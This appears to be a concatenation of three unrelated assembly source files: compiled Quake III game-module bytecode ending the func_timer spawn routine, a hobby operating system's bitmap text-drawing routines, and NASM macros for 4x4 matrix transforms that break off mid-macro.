BANDI4
CNSTI4 0
EQI4 $172
ADDRFP4 0
INDIRP4
CNSTI4 684
ADDP4
ADDRGP4 level+32
INDIRI4
CNSTI4 100
ADDI4
ASGNI4
ADDRFP4 0
INDIRP4
CNSTI4 768
ADDP4
ADDRFP4 0
INDIRP4
ASGNP4
LABELV $172
ADDRFP4 0
INDIRP4
CNSTI4 424
ADDP4
CNSTI4 1
ASGNI4
LABELV $167
endproc SP_func_timer 12 12
import trap_SnapVector
import trap_GeneticParentsAndChildSelection
import trap_BotResetWeaponState
import trap_BotFreeWeaponState
import trap_BotAllocWeaponState
import trap_BotLoadWeaponWeights
import trap_BotGetWeaponInfo
import trap_BotChooseBestFightWeapon
import trap_BotAddAvoidSpot
import trap_BotInitMoveState
import trap_BotFreeMoveState
import trap_BotAllocMoveState
import trap_BotPredictVisiblePosition
import trap_BotMovementViewTarget
import trap_BotReachabilityArea
import trap_BotResetLastAvoidReach
import trap_BotResetAvoidReach
import trap_BotMoveInDirection
import trap_BotMoveToGoal
import trap_BotResetMoveState
import trap_BotFreeGoalState
import trap_BotAllocGoalState
import trap_BotMutateGoalFuzzyLogic
import trap_BotSaveGoalFuzzyLogic
import trap_BotInterbreedGoalFuzzyLogic
import trap_BotFreeItemWeights
import trap_BotLoadItemWeights
import trap_BotUpdateEntityItems
import trap_BotInitLevelItems
import trap_BotSetAvoidGoalTime
import trap_BotAvoidGoalTime
import trap_BotGetLevelItemGoal
import trap_BotGetMapLocationGoal
import trap_BotGetNextCampSpotGoal
import trap_BotItemGoalInVisButNotVisible
import trap_BotTouchingGoal
import trap_BotChooseNBGItem
import trap_BotChooseLTGItem
import trap_BotGetSecondGoal
import trap_BotGetTopGoal
import trap_BotGoalName
import trap_BotDumpGoalStack
import trap_BotDumpAvoidGoals
import trap_BotEmptyGoalStack
import trap_BotPopGoal
import trap_BotPushGoal
import trap_BotResetAvoidGoals
import trap_BotRemoveFromAvoidGoals
import trap_BotResetGoalState
import trap_BotSetChatName
import trap_BotSetChatGender
import trap_BotLoadChatFile
import trap_BotReplaceSynonyms
import trap_UnifyWhiteSpaces
import trap_BotMatchVariable
import trap_BotFindMatch
import trap_StringContains
import trap_BotGetChatMessage
import trap_BotEnterChat
import trap_BotChatLength
import trap_BotReplyChat
import trap_BotNumInitialChats
import trap_BotInitialChat
import trap_BotNumConsoleMessages
import trap_BotNextConsoleMessage
import trap_BotRemoveConsoleMessage
import trap_BotQueueConsoleMessage
import trap_BotFreeChatState
import trap_BotAllocChatState
import trap_Characteristic_String
import trap_Characteristic_BInteger
import trap_Characteristic_Integer
import trap_Characteristic_BFloat
import trap_Characteristic_Float
import trap_BotFreeCharacter
import trap_BotLoadCharacter
import trap_EA_ResetInput
import trap_EA_GetInput
import trap_EA_EndRegular
import trap_EA_View
import trap_EA_Move
import trap_EA_DelayedJump
import trap_EA_Jump
import trap_EA_SelectWeapon
import trap_EA_MoveRight
import trap_EA_MoveLeft
import trap_EA_MoveBack
import trap_EA_MoveForward
import trap_EA_MoveDown
import trap_EA_MoveUp
import trap_EA_Crouch
import trap_EA_Respawn
import trap_EA_Use
import trap_EA_Attack
import trap_EA_Talk
import trap_EA_Gesture
import trap_EA_Action
import trap_EA_Command
import trap_EA_SayTeam
import trap_EA_Say
import trap_AAS_PredictClientMovement
import trap_AAS_Swimming
import trap_AAS_AlternativeRouteGoals
import trap_AAS_PredictRoute
import trap_AAS_EnableRoutingArea
import trap_AAS_AreaTravelTimeToGoalArea
import trap_AAS_AreaReachability
import trap_AAS_IntForBSPEpairKey
import trap_AAS_FloatForBSPEpairKey
import trap_AAS_VectorForBSPEpairKey
import trap_AAS_ValueForBSPEpairKey
import trap_AAS_NextBSPEntity
import trap_AAS_PointContents
import trap_AAS_TraceAreas
import trap_AAS_PointReachabilityAreaIndex
import trap_AAS_PointAreaNum
import trap_AAS_Time
import trap_AAS_PresenceTypeBoundingBox
import trap_AAS_Initialized
import trap_AAS_EntityInfo
import trap_AAS_AreaInfo
import trap_AAS_BBoxAreas
import trap_BotUserCommand
import trap_BotGetServerCommand
import trap_BotGetSnapshotEntity
import trap_BotLibTest
import trap_BotLibUpdateEntity
import trap_BotLibLoadMap
import trap_BotLibStartFrame
import trap_BotLibDefine
import trap_BotLibVarGet
import trap_BotLibVarSet
import trap_BotLibShutdown
import trap_BotLibSetup
import trap_DebugPolygonDelete
import trap_DebugPolygonCreate
import trap_GetEntityToken
import trap_GetUsercmd
import trap_BotFreeClient
import trap_BotAllocateClient
import trap_EntityContact
import trap_EntitiesInBox
import trap_UnlinkEntity
import trap_LinkEntity
import trap_AreasConnected
import trap_AdjustAreaPortalState
import trap_InPVSIgnorePortals
import trap_InPVS
import trap_PointContents
import trap_Trace
import trap_SetBrushModel
import trap_GetServerinfo
import trap_SetUserinfo
import trap_GetUserinfo
import trap_GetConfigstring
import trap_SetConfigstring
import trap_SendServerCommand
import trap_DropClient
import trap_LocateGameData
import trap_Cvar_VariableStringBuffer
import trap_Cvar_VariableValue
import trap_Cvar_VariableIntegerValue
import trap_Cvar_Set
import trap_Cvar_Update
import trap_Cvar_Register
import trap_SendConsoleCommand
import trap_FS_Seek
import trap_FS_GetFileList
import trap_FS_FCloseFile
import trap_FS_Write
import trap_FS_Read
import trap_FS_FOpenFile
import trap_Args
import trap_Argv
import trap_Argc
import trap_RealTime
import trap_Milliseconds
import trap_Error
import trap_Print
import g_proxMineTimeout
import g_singlePlayer
import g_enableBreath
import g_enableDust
import g_rankings
import pmove_msec
import pmove_fixed
import g_smoothClients
import g_blueteam
import g_redteam
import g_cubeTimeout
import g_obeliskRespawnDelay
import g_obeliskRegenAmount
import g_obeliskRegenPeriod
import g_obeliskHealth
import g_filterBan
import g_banIPs
import g_teamForceBalance
import g_teamAutoJoin
import g_allowVote
import g_blood
import g_doWarmup
import g_warmup
import g_motd
import g_synchronousClients
import g_weaponTeamRespawn
import g_weaponRespawn
import g_debugDamage
import g_debugAlloc
import g_debugMove
import g_inactivity
import g_forcerespawn
import g_quadfactor
import g_knockback
import g_speed
import g_gravity
import g_needpass
import g_password
import g_friendlyFire
import g_capturelimit
import g_timelimit
import g_fraglimit
import g_dmflags
import g_restarted
import g_maxGameClients
import g_maxclients
import g_cheats
import g_dedicated
import g_gametype
import g_entities
import level
import Pickup_Team
import CheckTeamStatus
import TeamplayInfoMessage
import Team_GetLocationMsg
import Team_GetLocation
import SelectCTFSpawnPoint
import Team_FreeEntity
import Team_ReturnFlag
import Team_InitGame
import Team_CheckHurtCarrier
import Team_FragBonuses
import Team_DroppedFlagThink
import AddTeamScore
import TeamColorString
import TeamName
import OtherTeam
import BotTestAAS
import BotAIStartFrame
import BotAIShutdownClient
import BotAISetupClient
import BotAILoadMap
import BotAIShutdown
import BotAISetup
import BotInterbreedEndMatch
import Svcmd_BotList_f
import Svcmd_AddBot_f
import G_BotConnect
import G_RemoveQueuedBotBegin
import G_CheckBotSpawn
import G_GetBotInfoByName
import G_GetBotInfoByNumber
import G_InitBots
import Svcmd_AbortPodium_f
import SpawnModelsOnVictoryPads
import UpdateTournamentInfo
import G_WriteSessionData
import G_InitWorldSession
import G_InitSessionData
import G_ReadSessionData
import Svcmd_GameMem_f
import G_InitMemory
import G_Alloc
import CheckObeliskAttack
import Team_CheckDroppedItem
import OnSameTeam
import G_RunClient
import ClientEndFrame
import ClientThink
import ClientCommand
import ClientBegin
import ClientDisconnect
import ClientUserinfoChanged
import ClientConnect
import G_Error
import G_Printf
import SendScoreboardMessageToAllClients
import G_LogPrintf
import AddTournamentQueue
import G_RunThink
import CheckTeamLeader
import SetLeader
import FindIntermissionPoint
import MoveClientToIntermission
import DeathmatchScoreboardMessage
import FireWeapon
import G_FilterPacket
import G_ProcessIPBans
import ConsoleCommand
import SpotWouldTelefrag
import CalculateRanks
import AddScore
import player_die
import ClientSpawn
import InitBodyQue
import BeginIntermission
import ClientRespawn
import CopyToBodyQue
import SelectSpawnPoint
import SetClientViewAngle
import PickTeam
import TeamLeader
import TeamCount
import Weapon_HookThink
import Weapon_HookFree
import CheckGauntletAttack
import SnapVectorTowards
import CalcMuzzlePoint
import LogAccuracyHit
import TeleportPlayer
import Touch_DoorTrigger
import G_RunMover
import fire_grapple
import fire_bfg
import fire_rocket
import fire_grenade
import fire_plasma
import G_RunMissile
import TossClientCubes
import TossClientItems
import body_die
import G_InvulnerabilityEffect
import G_RadiusDamage
import G_Damage
import CanDamage
import BuildShaderStateConfig
import AddRemap
import G_SetOrigin
import G_AddEvent
import G_AddPredictableEvent
import vectoyaw
import vtos
import tv
import G_TouchTriggers
import G_EntitiesFree
import G_FreeEntity
import G_Sound
import G_TempEntity
import G_Spawn
import G_InitGentity
import G_SetMovedir
import G_UseTargets
import G_PickTarget
import G_Find
import G_KillBox
import G_TeamCommand
import G_SoundIndex
import G_ModelIndex
import SaveRegisteredItems
import RegisterItem
import ClearRegisteredItems
import Touch_Item
import Add_Ammo
import ArmorIndex
import Think_Weapon
import FinishSpawningItem
import G_SpawnItem
import SetRespawn
import LaunchItem
import Drop_Item
import PrecacheItem
import UseHoldableItem
import RespawnItem
import G_RunItem
import G_CheckTeamItems
import Cmd_FollowCycle_f
import SetTeam
import BroadcastTeamChange
import StopFollowing
import Cmd_Score_f
import G_NewString
import G_SpawnEntitiesFromString
import G_SpawnVector
import G_SpawnInt
import G_SpawnFloat
import G_SpawnString
import BG_PlayerTouchesItem
import BG_PlayerStateToEntityStateExtraPolate
import BG_PlayerStateToEntityState
import BG_TouchJumpPad
import BG_AddPredictableEventToPlayerstate
import BG_EvaluateTrajectoryDelta
import BG_EvaluateTrajectory
import BG_CanItemBeGrabbed
import BG_FindItemForHoldable
import BG_FindItemForPowerup
import BG_FindItemForWeapon
import BG_FindItem
import bg_numItems
import bg_itemlist
import Pmove
import PM_UpdateViewAngles
import Com_Printf
import Com_Error
import Info_NextPair
import Info_Validate
import Info_SetValueForKey_Big
import Info_SetValueForKey
import Info_RemoveKey_Big
import Info_RemoveKey
import Info_ValueForKey
import Com_TruncateLongString
import va
import Q_CountChar
import Q_CleanStr
import Q_PrintStrlen
import Q_strcat
import Q_strncpyz
import Q_stristr
import Q_strupr
import Q_strlwr
import Q_stricmpn
import Q_strncmp
import Q_stricmp
import Q_isintegral
import Q_isanumber
import Q_isalpha
import Q_isupper
import Q_islower
import Q_isprint
import Com_RandomBytes
import Com_SkipCharset
import Com_SkipTokens
import Com_sprintf
import Com_HexStrToInt
import Parse3DMatrix
import Parse2DMatrix
import Parse1DMatrix
import SkipRestOfLine
import SkipBracedSection
import COM_MatchToken
import COM_ParseWarning
import COM_ParseError
import COM_Compress
import COM_ParseExt
import COM_Parse
import COM_GetCurrentParseLine
import COM_BeginParseSession
import COM_DefaultExtension
import COM_CompareExtension
import COM_StripExtension
import COM_GetExtension
import COM_SkipPath
import Com_Clamp
import PerpendicularVector
import AngleVectors
import MatrixMultiply
import MakeNormalVectors
import RotateAroundDirection
import RotatePointAroundVector
import ProjectPointOnPlane
import PlaneFromPoints
import AngleDelta
import AngleNormalize180
import AngleNormalize360
import AnglesSubtract
import AngleSubtract
import LerpAngle
import AngleMod
import BoundsIntersectPoint
import BoundsIntersectSphere
import BoundsIntersect
import BoxOnPlaneSide
import SetPlaneSignbits
import AxisCopy
import AxisClear
import AnglesToAxis
import vectoangles
import Q_crandom
import Q_random
import Q_rand
import Q_acos
import Q_log2
import VectorRotate
import Vector4Scale
import VectorNormalize2
import VectorNormalize
import CrossProduct
import VectorInverse
import VectorNormalizeFast
import DistanceSquared
import Distance
import VectorLengthSquared
import VectorLength
import VectorCompare
import AddPointToBounds
import ClearBounds
import RadiusFromBounds
import NormalizeColor
import ColorBytes4
import ColorBytes3
import _VectorMA
import _VectorScale
import _VectorCopy
import _VectorAdd
import _VectorSubtract
import _DotProduct
import ByteToDir
import DirToByte
import ClampShort
import ClampChar
import Q_rsqrt
import Q_fabs
import Q_isnan
import axisDefault
import vec3_origin
import g_color_table
import colorDkGrey
import colorMdGrey
import colorLtGrey
import colorWhite
import colorCyan
import colorMagenta
import colorYellow
import colorBlue
import colorGreen
import colorRed
import colorBlack
import bytedirs
import Hunk_AllocDebug
import FloatSwap
import LongSwap
import ShortSwap
import CopyLongSwap
import CopyShortSwap
import qk_acos
import qk_fabs
import qk_abs
import qk_tan
import qk_atan2
import qk_cos
import qk_sin
import qk_sqrt
import qk_floor
import qk_ceil
import qk_memcpy
import qk_memset
import qk_memmove
import qk_sscanf
import qk_vsnprintf
import qk_strtol
import qk_atoi
import qk_strtod
import qk_atof
import qk_toupper
import qk_tolower
import qk_strncpy
import qk_strstr
import qk_strrchr
import qk_strchr
import qk_strcmp
import qk_strcpy
import qk_strcat
import qk_strlen
import qk_rand
import qk_srand
import qk_qsort
lit
align 1
LABELV $171
byte 1 102
byte 1 117
byte 1 110
byte 1 99
byte 1 95
byte 1 116
byte 1 105
byte 1 109
byte 1 101
byte 1 114
byte 1 32
byte 1 97
byte 1 116
byte 1 32
byte 1 37
byte 1 115
byte 1 32
byte 1 104
byte 1 97
byte 1 115
byte 1 32
byte 1 114
byte 1 97
byte 1 110
byte 1 100
byte 1 111
byte 1 109
byte 1 32
byte 1 62
byte 1 61
byte 1 32
byte 1 119
byte 1 97
byte 1 105
byte 1 116
byte 1 10
byte 1 0
align 1
LABELV $168
byte 1 49
byte 1 0
align 1
LABELV $157
byte 1 115
byte 1 111
byte 1 117
byte 1 110
byte 1 100
byte 1 47
byte 1 119
byte 1 111
byte 1 114
byte 1 108
byte 1 100
byte 1 47
byte 1 101
byte 1 108
byte 1 101
byte 1 99
byte 1 116
byte 1 114
byte 1 111
byte 1 46
byte 1 119
byte 1 97
byte 1 118
byte 1 0
align 1
LABELV $135
byte 1 67
byte 1 111
byte 1 117
byte 1 108
byte 1 100
byte 1 110
byte 1 39
byte 1 116
byte 1 32
byte 1 102
byte 1 105
byte 1 110
byte 1 100
byte 1 32
byte 1 116
byte 1 101
byte 1 108
byte 1 101
byte 1 112
byte 1 111
byte 1 114
byte 1 116
byte 1 101
byte 1 114
byte 1 32
byte 1 100
byte 1 101
byte 1 115
byte 1 116
byte 1 105
byte 1 110
byte 1 97
byte 1 116
byte 1 105
byte 1 111
byte 1 110
byte 1 10
byte 1 0
align 1
LABELV $122
byte 1 115
byte 1 111
byte 1 117
byte 1 110
byte 1 100
byte 1 47
byte 1 109
byte 1 105
byte 1 115
byte 1 99
byte 1 47
byte 1 119
byte 1 105
byte 1 110
byte 1 100
byte 1 102
byte 1 108
byte 1 121
byte 1 46
byte 1 119
byte 1 97
byte 1 118
byte 1 0
align 1
LABELV $104
byte 1 115
byte 1 111
byte 1 117
byte 1 110
byte 1 100
byte 1 47
byte 1 119
byte 1 111
byte 1 114
byte 1 108
byte 1 100
byte 1 47
byte 1 106
byte 1 117
byte 1 109
byte 1 112
byte 1 112
byte 1 97
byte 1 100
byte 1 46
byte 1 119
byte 1 97
byte 1 118
byte 1 0
align 1
LABELV $81
byte 1 116
byte 1 114
byte 1 105
byte 1 103
byte 1 103
byte 1 101
byte 1 114
byte 1 95
byte 1 109
byte 1 117
byte 1 108
byte 1 116
byte 1 105
byte 1 112
byte 1 108
byte 1 101
byte 1 32
byte 1 104
byte 1 97
byte 1 115
byte 1 32
byte 1 114
byte 1 97
byte 1 110
byte 1 100
byte 1 111
byte 1 109
byte 1 32
byte 1 62
byte 1 61
byte 1 32
byte 1 119
byte 1 97
byte 1 105
byte 1 116
byte 1 10
byte 1 0
align 1
LABELV $78
byte 1 48
byte 1 0
align 1
LABELV $77
byte 1 114
byte 1 97
byte 1 110
byte 1 100
byte 1 111
byte 1 109
byte 1 0
align 1
LABELV $76
byte 1 48
byte 1 46
byte 1 53
byte 1 0
align 1
LABELV $75
byte 1 119
byte 1 97
byte 1 105
byte 1 116
byte 1 0
|
Graphics/TextHandler.asm | jaredwhitney/os3 | 5 | 6432 | [bits 32]
newline equ 0x0A
endstring equ 0x0
;clearScreenG :
;pusha
;mov dx, 0x0
;mov ebx, [Dolphin.SCREEN_BUFFER]
;mov edx, ebx
;add edx, [Graphics.SCREEN_SIZE]
;csgloop :
;mov [ebx], dx
;add ebx, 0x2
;cmp ebx, edx
;jl csgloop
;mov ecx, [TextHandler.charpos]
;mov ecx, [Dolphin.SCREEN_BUFFER]
;mov [TextHandler.charpos], ecx
;popa
;ret
TextHandler.drawCharFromBitmap : ; ebx contains char to draw
methodTraceEnter
pusha
;mov [TextHandler.selectedColor], ah
mov dx, 0x0
TextHandler.drawCharloop :
; ah contains the current row of the char
mov ah, [ebx]
push ecx
mov ecx, [TextHandler.textSizeMultiplier]
TextHandler.drawCharLoop.FinishHeight :
call TextHandler.drawRow
sub ecx, 1
cmp ecx, 0x0
jg TextHandler.drawCharLoop.FinishHeight
pop ecx
add ebx, 0x1
add dx, 0x1
cmp dx, 0x7
jl TextHandler.drawCharloop
call TextHandler.drawSolidBacking
mov ecx, [TextHandler.charpos]
push eax
xor eax, eax
mov ax, [TextHandler.textWidth]
push ebx
mov ebx, 7
imul ebx, [TextHandler.textSizeMultiplier]
add ebx, 2
imul eax, ebx ; 1=9, 2=16, 3=23
pop ebx
;imul eax, [TextHandler.textSizeMultiplier]
sub ecx, eax
pop eax
push edx
push ecx
push eax
mov edx, [Graphics.bytesPerPixel]
imul edx, 6
imul edx, [TextHandler.textSizeMultiplier]
pop eax
pop ecx
add ecx, edx
pop edx
mov eax, [TextHandler.textWidth]
imul eax, 2
add ecx, eax
mov [TextHandler.charpos], ecx
popa
methodTraceLeave
ret
TextHandler.drawSolidBacking :
methodTraceEnter
pusha
mov dl, [TextHandler.solidChar]
cmp dl, 0x0
je TextHandler.drawSolidBacking.ret
mov ah, 0x0
call TextHandler.drawRow
call TextHandler.drawRow
push ecx
mov ecx, [TextHandler.charpos]
sub ecx, [TextHandler.textWidth]
sub ecx, [TextHandler.textWidth]
mov [TextHandler.charpos], ecx
pop ecx
TextHandler.drawSolidBacking.ret :
popa
methodTraceLeave
ret
TextHandler.drawRow : ; ah contains row
methodTraceEnter
pusha
mov ebx, [TextHandler.charpos]
;sub ebx, [bstor]
;add ebx, [Dolphin.cbuffer]
mov cl, 6
TextHandler.drawRowloop :
mov ch, ah
sub cl, 0x1
shr ch, cl
and ch, 0b1
cmp ch, 0b0
je TextHandler.drawRownd
mov dl, [Graphics.VESA_MODE]
cmp dl, 0x0
jne TextHandler.drawRowVESA ; should be jne
mov dl, [TextHandler.selectedColor]
push ecx
mov ecx, [TextHandler.textSizeMultiplier]
TextHandler.drawRowloop.FinishWidth :
mov [ebx], dl
add ebx, 1
sub ecx, 1
cmp ecx, 0x0
jg TextHandler.drawRowloop.FinishWidth
pop ecx
jmp TextHandler.drawRownddone
TextHandler.drawRowVESA :
mov edx, [TextHandler.selectedColor]
or edx, CHANGE_MASK
push ecx
mov ecx, [TextHandler.textSizeMultiplier]
TextHandler.drawRowloop.FinishWidthVESA :
mov [ebx], edx
add ebx, 4
sub ecx, 1
cmp ecx, 0x0
jg TextHandler.drawRowloop.FinishWidthVESA
pop ecx
jmp TextHandler.drawRownddone
TextHandler.drawRownd :
push dx
mov dl, [TextHandler.solidChar]
cmp dl, 0x0
je TextHandler.drawRownd.nodrawnodr
mov dl, 0x0
mov [ebx], dl
TextHandler.drawRownd.nodrawnodr :
push ecx ; advance to next char slot
mov ecx, [TextHandler.textSizeMultiplier]
imul ecx, [Graphics.bytesPerPixel]
add ebx, ecx
pop ecx
TextHandler.drawRownd.nodr :
pop dx
TextHandler.drawRownddone :
cmp cl, 0x0
jg TextHandler.drawRowloop
mov ecx, [TextHandler.charpos]
push eax
xor eax, eax
mov ax, [TextHandler.textWidth]
;push edx
;push ecx
;mov dl, [Graphics.VESA_MODE]
;cmp dl, 0x0
;je TextHandler.drawRownnddoneNOVESA
;imul eax, 0x2
;TextHandler.drawRownnddoneNOVESA :
;pop ecx
;pop edx
add ecx, eax
pop eax
mov [TextHandler.charpos], ecx
popa
methodTraceLeave
ret
TextHandler.newline :
methodTraceEnter
;mov eax, [TextHandler.charpos]
;mov bx, 0x0
;mov [eax], bx
mov eax, [TextHandler.charpos]
mov ecx, 0x0
add eax, 0x2
gnldloop :
sub eax, 0xA00
add ecx, 0x1
cmp eax, [Dolphin.SCREEN_BUFFER]
jg gnldloop
mov eax, ecx
mov ebx, 0xA00
mul ebx
add eax, [Dolphin.SCREEN_BUFFER]
mov [TextHandler.charpos], eax
methodTraceLeave
ret
TextHandler.drawChar : ; char in ax
methodTraceEnter
pusha
call TextHandler.getCharBitmap
call TextHandler.drawCharFromBitmap
popa
methodTraceLeave
ret
TextHandler.getCharBitmap :
methodTraceEnter
mov ebx, Font.bitmaps
mov edx, Font.order
graphicsgetposloop :
mov cl, [edx]
cmp al, cl
je graphicsgetposret
add ebx, 7
add edx, 1
mov cl, [edx]
cmp cl, 0xFF
je graphicsgetposret
jmp graphicsgetposloop
graphicsgetposret :
methodTraceLeave
ret
TextHandler.charpos :
dd 0x0
Graphics.bytesPerPixel :
dd 0x1
TextHandler.selectedColor :
dd 0xFFFFFF
TextHandler.solidChar :
db 0xFF, 0x0 ; (pad)
TextHandler.textWidth :
dd 0x0
TextHandler.charposStor :
dd 0x0
TextHandler.textSizeMultiplier :
dd 0x1
|
Gas/Dos/UtilsLib/GasWord.asm | Gabidal/GAS_Pack | 1 | 11382 | <filename>Gas/Dos/UtilsLib/GasWord.asm
;THIS IS THE HARD PART!
%macro createMatrix 1
%1 times 16 dd 1
%endmacro
%macro getFromMatrix 4
%assign location %2+(%3*4)
lea esi, %1[location]
mov eax,dword [esi]
mov %4, eax
%endmacro
%macro editMatrix 4
%assign location1 %2+(%3*4)
lea esi, %1[location1]
mov [esi], dword %4
%endmacro
%macro multiplyMatrix 4
%assign vecX %2
%assign vecY %3
%assign vecZ %4
;FIRST ROW
getFromMatrix %1, 0, 0, eax
Mmul eax, %2
mov ecx, eax
getFromMatrix %1, 0, 1, eax
Mmul eax, %2
add ecx, eax
getFromMatrix %1, 0, 2, eax
Mmul eax, %2
add ecx, eax
getFromMatrix %1, 0, 3, eax
Mmul eax, %2
add ecx, eax
push ecx
;SECOND ROW
getFromMatrix %1, 1, 0, eax
Mmul eax, %3
mov ecx, eax
getFromMatrix %1, 1, 1, eax
Mmul eax, %3
add ecx, eax
getFromMatrix %1, 1, 2, eax
Mmul eax, %3
add ecx, eax
getFromMatrix %1, 1, 3, eax
Mmul eax, %3
add ecx, eax
push ecx
;TIRD ROW
getFromMatrix %1, 2, 0, eax
Mmul eax, %4
mov ecx, eax
getFromMatrix %1, 2, 1, eax
Mmul eax, %4
add ecx, eax
getFromMatrix %1, 2, 2, eax
Mmul eax, %4
add ecx, eax
getFromMatrix %1, 2, 3, eax
Mmul eax, %4
add ecx, eax
push ecx
editMatrix %1, 3, 3, 1
%endmacro
%macro rotateMatrixX 3
editMatrix %1, 0, 0, 1
cos %2, eax, %3
editMatrix %1, 1, 1, eax
sin %2, eax, %3%3
negate eax
editMatrix %1, 2, 1, eax
sin %2, eax, %3%3%3
editMatrix %1, 1, 2, eax
cos %2, eax, %3%3%3%3
editMatrix %1, 2, 2, eax
editMatrix %1, 3, 3, 1
%endmacro
%macro rotateMatrixY 3
cos %2, eax, %3
editMatrix %1, 0, 0, eax
sin %2, eax, %3%3
negate eax
editMatrix %1, 2, 0, eax
editMatrix %1, 1, 1, 1
sin %1, eax, %3%3%3
editMatrix %1, 0, 2, eax
cos %2, eax, %3%3%3%3
editMatrix %1, 2, 2, eax
editMatrix %1, 3, 3, 1
%endmacro
%macro rotateMatrixZ 3
cos %2, eax, %3
editMatrix %1, 0, 0, eax
sin %2, eax, %3%3
negate eax
editMatrix %1, 1, 0, eax
sin %2, eax, %3%3%3
editMatrix %1, 0, 1, eax
cos %2, eax, %3%3%3%3
editMatrix %1, 1, 1, eax
editMatrix %1, 2, 2, 1
editMatrix %1, 3, 3, 1
%endmacro
%macro scaleMatrix 4
;name, x, y, z
editMatrix %1, 0, 0, %2
editMatrix %1, 1, 1, %3
editMatrix %1, 2, 2, %4
editMatrix %1, 3, 3, 1
%endmacro
%macro translateMatrix 4
scaleMatrix %1, 1, 1, 1
editMatrix %1, 3, 0, %2; x
editMatrix %1, 3, 1, %3; y
editMatrix %1, 3, 2, %4; z
%endmacro
%macro identifyMatrix 1
scaleMatrix %1, 1, 1, 1
%endmacro
%macro combineMatrix 3
getFromMatrix %1, 0, 0, eax
getFromMatrix %2, 0, 0, ebx
Mmul eax, bx
getFromMatrix %2, 1, 0, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
getFromMatrix %2, 2, 0, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
getFromMatrix %2, 3, 0, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
editMatrix %3, 0, 0, eax
;next
getFromMatrix %1, 1, 0, eax
getFromMatrix %2, 0, 0, ebx
Mmul eax, bx
getFromMatrix %2, 1, 0, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
getFromMatrix %2, 2, 0, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
getFromMatrix %2, 3, 0, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
editMatrix %3, 1, 0, eax
;next
getFromMatrix %1, 2, 0, eax
getFromMatrix %2, 0, 0, ebx
Mmul eax, bx
getFromMatrix %2, 1, 0, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
getFromMatrix %2, 2, 0, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
getFromMatrix %2, 3, 0, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
editMatrix %3, 2, 0, eax
;next
getFromMatrix %1, 3, 0, eax
getFromMatrix %2, 0, 0, ebx
Mmul eax, bx
getFromMatrix %2, 1, 0, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
getFromMatrix %2, 2, 0, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
getFromMatrix %2, 3, 0, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
editMatrix %3, 3, 0, eax
;NEXT ROW
getFromMatrix %1, 0, 1, eax
getFromMatrix %2, 0, 1, ebx
Mmul eax, bx
getFromMatrix %2, 1, 1, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
getFromMatrix %2, 2, 1, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
getFromMatrix %2, 3, 1, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
editMatrix %3, 0, 1, eax
;next
getFromMatrix %1, 1, 1, eax
getFromMatrix %2, 0, 1, ebx
Mmul eax, bx
getFromMatrix %2, 1, 1, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
getFromMatrix %2, 2, 1, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
getFromMatrix %2, 3, 1, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
editMatrix %3, 1, 1, eax
;next
getFromMatrix %1, 2, 1, eax
getFromMatrix %2, 0, 1, ebx
Mmul eax, bx
getFromMatrix %2, 1, 1, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
getFromMatrix %2, 2, 1, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
getFromMatrix %2, 3, 1, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
editMatrix %3, 2, 1, eax
;next
getFromMatrix %1, 3, 1, eax
getFromMatrix %2, 0, 1, ebx
Mmul eax, bx
getFromMatrix %2, 1, 1, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
getFromMatrix %2, 2, 1, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
getFromMatrix %2, 3, 1, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
editMatrix %3, 3, 1, eax
;NEXT ROW
getFromMatrix %1, 0, 2, eax
getFromMatrix %2, 0, 2, ebx
Mmul eax, bx
getFromMatrix %2, 1, 2, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
getFromMatrix %2, 2, 2, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
getFromMatrix %2, 3, 2, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
editMatrix %3, 0, 2, eax
;next
getFromMatrix %1, 1, 2, eax
getFromMatrix %2, 0, 2, ebx
Mmul eax, bx
getFromMatrix %2, 1, 2, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
getFromMatrix %2, 2, 2, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
getFromMatrix %2, 3, 2, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
editMatrix %3, 1, 2, eax
;next
getFromMatrix %1, 2, 2, eax
getFromMatrix %2, 0, 2, ebx
Mmul eax, bx
getFromMatrix %2, 1, 2, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
getFromMatrix %2, 2, 2, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
getFromMatrix %2, 3, 2, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
editMatrix %3, 2, 2, eax
;next
getFromMatrix %1, 3, 2, eax
getFromMatrix %2, 0, 2, ebx
Mmul eax, bx
getFromMatrix %2, 1, 2, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
getFromMatrix %2, 2, 2, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
getFromMatrix %2, 3, 2, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
editMatrix %3, 3, 2, eax
;NEXT ROW
getFromMatrix %1, 0, 3, eax
getFromMatrix %2, 0, 3, ebx
Mmul eax, bx
getFromMatrix %2, 1, 3, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
getFromMatrix %2, 2, 3, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
getFromMatrix %2, 3, 3, ebx
Mmul ecx, bx
sum eax, ecx
